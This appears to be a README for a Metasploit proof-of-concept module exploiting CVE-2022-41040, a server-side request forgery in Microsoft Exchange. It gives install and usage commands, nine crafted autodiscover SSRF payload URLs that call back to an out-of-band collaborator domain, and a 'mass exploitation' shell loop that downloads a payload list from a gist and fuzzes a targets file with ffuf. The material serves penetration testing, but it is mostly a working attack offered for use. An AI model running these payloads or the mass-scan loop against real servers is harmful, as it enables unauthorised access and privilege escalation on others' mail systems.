CVE-2022-41040 - Server Side Request Forgery (SSRF) in Microsoft Exchange Server

Metasploit Module

the metasploit script(POC) about CVE-2022-41040. Microsoft Exchange are vulnerable to a server-side request forgery (SSRF) attack. An authenticated attacker can use the vulnerability to elevate privileges.

preparation POC

git clone https://github.com/TaroballzChen/CVE-2022-41040-metasploit-ProxyNotShell
cd CVE-2022-41040-metasploit-ProxyNotShell
mkdir -p ~/.msf4/modules/auxiliary/scanner/http
cp microsoft_exchange_server_proxynotshell_ssrf.py ~/.msf4/modules/auxiliary/scanner/http/
chmod +x ~/.msf4/modules/auxiliary/scanner/http/microsoft_exchange_server_proxynotshell_ssrf.py
msfconsole

POC usage

set rhosts <vuln ip/host>
set rport <vuln port>
set rssl <default: true for https>
exploit

result

Manual exploiation

1. Replace COLLABHERE with your OOB domain - sed 's/COLLABHERE/<oob-domain>/g

2. Add payloads next to URLs you want to test - echo http://target.com|unfurl format %s://%d/<payload>

3. Visit crafted URLs

4. Check your collaborator

Payloads:

/autodiscover/autodiscover.json?@%d.v1.COLLABHERE/&Email=autodiscover/autodiscover.json%3f@%d.v1.COLLABHERE
/autodiscover/autodiscover.json/v1.0/aa@%d.v2.COLLABHERE?Protocol=Autodiscoverv1
/autodiscover/autodiscover.json/v1.0/aa..@%d.v3.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a..@%d.v3.COLLABHERE&Protocol=Autodiscoverv1&Protocol=Powershell
/autodiscover/autodiscover.json/v1.0/aa@%d.v4.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a@%d.v4.COLLABHERE&Protocol=Autodiscoverv1&Protocol=Powershell
/autodiscover/autodiscover.json?aa..%d.v5.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a..%d.v5.COLLABHERE&Protocol=Autodiscoverv1&%d.v5.COLLABHEREProtocol=Powershell
/autodiscover/autodiscover.json?aa@%d.v6.COLLABHERE/owa/?&Email=autodiscover/autodiscover.json?a@%d.v6.COLLABHERE&Protocol=Autodiscoverv1&%d.v6.COLLABHEREProtocol=Powershell
/autodiscover/autodiscover.json?aa..%d.v7.COLLABHERE/owa/?&Email=aa@autodiscover/autodiscover.json?a..%d.v7.COLLABHERE&Protocol=Autodiscoverv1&%d.v7.COLLABHEREProtocol=Powershell
/autodiscover/autodiscover.json?aa@%d.v8.COLLABHERE/owa/?&Email=aa@autodiscover/autodiscover.json?a@%d.v8.COLLABHERE&Protocol=Autodiscoverv1&%d.v8.COLLABHEREProtocol=Powershell
/autodiscover/autodiscover.json/v1.0/aa@autodiscover/autodiscover.json?a..@%d.v9.COLLABHERE&Protocol=Autodiscoverv1&Protocol=Powershell

Mass exploitation

for url in $(curl -s https://gist.githubusercontent.com/kljunowsky/a2e8392f63fb8d7c0443f2011bce59ec/raw/7b4cabaa0dab7113b1cab00e1a2cb0c4e3c6ed06/cve-2022-41040-unfurl-payloads.txt|sed 's/COLLABHERE/<OOB-PAYLOAD>/g'); do cat targets.txt |unfurl format $url >> fuzz-ready.txt;done & ffuf -w fuzz-ready.txt -u FUZZ

Requirements

ffuf unfurl